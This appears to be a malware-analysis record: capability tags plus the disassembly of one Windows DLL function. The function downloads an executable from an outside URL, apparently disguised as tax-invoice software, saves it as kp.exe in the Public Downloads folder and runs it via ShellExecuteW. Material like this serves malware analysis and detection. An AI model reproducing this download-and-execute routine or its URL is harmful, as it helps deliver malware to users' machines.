Function at 0x180004870
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.18000b350
sub rsp, rax
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r13d, r13d
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r13w
lea rax, [rbp - 0x50]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x1800048e0
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x50]
call fcn.180001f30
nop
lea rbx, [rsp + 0x50]
mov r14, qword [rsp + 0x50]
mov r15, qword [rsp + 0x68]
cmp r15, 8
cmovae rbx, r14
mov rsi, qword [rsp + 0x60]
test rsi, rsi
je 0x180004a8e
mov r12d, pe_nt_image_headers64
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.18000d1b0
lea rcx, [0x18003da28]
lea rdx, [0x18003da2a]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x180004994
movzx eax, al
mov byte [rbp + rax + 0x1c0], 1
add rcx, 2
cmp rcx, rdx
jne 0x180004943
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x180004985
cmp byte [rbp + rax + 0x1c0], 0
jne 0x1800049e0
cmp rcx, rbx
je 0x180004a8e
sub rcx, 2
jmp 0x180004972
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
nop word [rax + rax]
mov edx, 1
lea rax, [0x18003da28]
movzx r8d, word [rcx]
cmp word [rax], r8w
je 0x1800049e0
add rax, 2
sub rdx, 1
jne 0x1800049c0
cmp rcx, rbx
je 0x1800049db
sub rcx, 2
jmp 0x1800049b0
mov rcx, rdi
jmp 0x1800049e6
sub rcx, rbx
sar rcx, 1
cmp rcx, 0xffffffffffffffff
je 0x180004a8e
inc rcx
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 7
cmp rsi, rcx
jb 0x180004efe
sub rsi, rcx
cmp rsi, 0xffffffffffffffff
cmovb rdi, rsi
lea rax, [rsp + 0x50]
cmp r15, 8
cmovae rax, r14
lea rdx, [rax + rcx*2]
mov r8, rdi
lea rcx, [rsp + 0x30]
call fcn.180001f30
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180004a7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f22
call fcn.18000ab38
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x60], xmm1
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r13w
mov r8d, 7
lea rdx, [0x18003df80]
lea rcx, [rbp - 0x70]
call fcn.180001f30
nop
lea rcx, [rsp + 0x70]
call fcn.180004000
nop
mov r14, qword [rbp - 0x80]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov r15, qword [rbp - 0x60]
sub rax, r15
cmp rax, r14
jb 0x180004f04
lea r13, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae r13, rsi
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rax, qword [rsp + 0x70]
mov qword [rbp + 0x11f0], rax
mov qword [rsp + 0x30], 0
lea r12, [r15 + r14]
mov ebx, 7
lea rdi, [rsp + 0x30]
cmp r12, rbx
jbe 0x180004bb7
mov rbx, r12
or rbx, 7
cmp rbx, rcx
jbe 0x180004b46
mov rbx, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x180004b75
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x180004f10
add rcx, rcx
cmp rcx, 0x1000
jb 0x180004ba1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180004f10
mov rcx, rax
call fcn.18000ab40
test rax, rax
je 0x180004f16
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180004bb2
test rcx, rcx
je 0x180004bb0
call fcn.18000ab40
mov rdi, rax
jmp 0x180004bb2
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r13
mov rcx, rdi
call fcn.18000cae0
lea rcx, [rdi + rbx]
lea r8, [r14 + r14]
mov rdx, qword [rbp + 0x11f0]
call fcn.18000cae0
xor ebx, ebx
mov word [rdi + r12*2], bx
mov rdx, qword [0x1802e8410]
cmp rdx, 8
jb 0x180004c34
mov rcx, qword [0x1802e83f8]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180004c2f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004f16
mov rcx, r8
call fcn.18000ab38
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [0x1802e83f8], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [0x1802e8408], xmm1
lea rcx, [rsp + 0x50]
call fcn.180003d00
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 6
lea r9, str.kp6019
mov rdx, qword [rsp + 0x60]
call fcn.180002520
cmp rax, 0xffffffffffffffff
je 0x180004e07
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
mov r8d, 0x20
lea rdx, str.C:UsersPublicDownloadskp.exe
lea rcx, [rsp + 0x30]
call fcn.180001f30
mov dword [rbp + 0x11f0], 1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
je 0x180004d9e
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__www.aisinoha.com_Media_Default__E4_B8_8B_E8_BD_BD_E4_B8_AD_E5_BF_83__E9_98_B2_E4_BC_AA_E7_A8_8E_E6_8E_A7__E5_A2_9E_E5_80_BC_E7_A8_8E_E5_8F_91_E7_A5_A8_E7_A8_8E_E6_8E_A7_E5_BC_80_E7_A5_A8_E8_BD_AF_E4_BB_B6_EF_BC_88_E9_87_91_E7_A8_8E_E7_9B_98_E7_89_88V2.0.65_ZS_20240428_EF_BC_89_240425_.exe
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x180004d93
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
lea rdx, [0x18003ddb8]
call fcn.180016210
mov rdi, rax
test rax, rax
je 0x180004d8a
cmp dword [rbp + 0x11f0], 0
jbe 0x180004d82
lea r9, [rbp + 0x11f0]
mov r8d, 0xfff
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x11f0]
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x1c0]
call fcn.1800160c0
cmp dword [rbp + 0x11f0], 0
ja 0x180004d41
mov rcx, rdi
call fcn.180015cc0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ebx, ebx
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180004de0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f0a
call fcn.18000ab38
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:UsersPublicDownloadskp.exe
lea rdx, [0x18003e248]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180004e48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004e43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f1c
call fcn.18000ab38
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], bx
mov rax, qword [rbp - 0x58]
cmp rax, 8
jb 0x180004e99
lea rdx, [rax*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180004e90
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f22
mov rcx, rsi
call fcn.18000ab38
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180004ed7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ed2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004ef8
call fcn.18000ab38
lea r11, [rsp + 0x12c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180011c44
nop
call fcn.180002130
nop
call fcn.180001330
int3
call fcn.180011c44
int3
call fcn.180001290
int3
call fcn.180011c44
nop
call fcn.180011c44
nop
call fcn.180011c44
int3